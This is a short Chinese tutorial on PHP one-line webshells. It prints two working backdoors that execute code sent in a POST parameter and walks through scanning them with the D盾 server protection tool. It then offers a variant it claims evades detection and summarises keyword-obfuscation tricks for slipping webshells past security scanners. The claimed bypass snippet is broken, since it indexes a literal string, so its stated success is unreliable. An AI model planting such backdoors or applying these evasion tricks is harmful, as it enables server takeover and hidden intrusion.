PHP常见的两个执行函数
eval(string $str):把字符串str作为php代码执行。assert(mixed $assertion [, string $description ]):如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
PHP常见的一句话木马
<?php eval($_POST['a']);?>
<?php assert(@$_POST['a']); ?>
语法中的$_POST是PHP的全局变量,用于收集HTML表单提交的数据。
D盾功能简介
主动后门拦截,SESSION保护,防WEB嗅探,防CC,防篡改,注入防御,防XSS,防提权,上传防御,未知0day防御,异形脚本防御等等。 防止黑客入侵和提权,让服务器更安全。
D盾测试
1.新建一个txt文件,把<?php eval($_POST['a']);?>或<?php assert(@$_POST['a']); ?>代码复制到刚刚新建的txt文件中,保存并把文件后缀名改成php。
2.打开D盾扫描刚刚新建的php文件所在的文件夹
直接是5级 eval后门
3.利用php语法修改代码,尝试降低级别。尝试把$_POST赋值给变量
<?php
$p = '$_POST';
eval($p['a']);
?>
成功绕过D盾
总结
木马绕过原理其实就是把敏感的字符通过各种方式进行拼接重组来欺骗防御系统,比如字符串拼接、动态函数、进制转换等方式修改关键字。